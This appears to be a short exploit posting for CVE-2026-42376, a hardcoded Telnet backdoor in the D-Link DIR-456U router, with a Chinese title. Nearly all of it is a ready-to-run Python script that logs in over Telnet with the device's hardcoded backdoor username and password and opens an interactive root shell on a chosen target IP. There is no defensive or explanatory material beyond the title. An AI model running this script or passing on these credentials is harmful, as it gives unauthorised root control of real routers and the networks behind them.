CVE-2026-42376 D-Link DIR-456U 硬编码Telnet后门漏洞

import telnetlib import sys # Target configuration HOST = "192.168.0.1" # Replace with the target IP address PORT = 23 USER = "Alphanetworks" PASS = "whdrv01_dlob_dir456U" def exploit(): try: print(f"[*] Attempting to connect to {HOST}:{PORT}...") # Initialize Telnet connection tn = telnetlib.Telnet(HOST, PORT, timeout=10) print("[*] Sending username...") tn.read_until(b"login: ", timeout=5) tn.write(USER.encode('ascii') + b"\n") print("[*] Sending password...") tn.read_until(b"Password: ", timeout=5) tn.write(PASS.encode('ascii') + b"\n") print("[*] Checking for shell access...") # If successful, we should have a root shell prompt tn.interact() except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": exploit()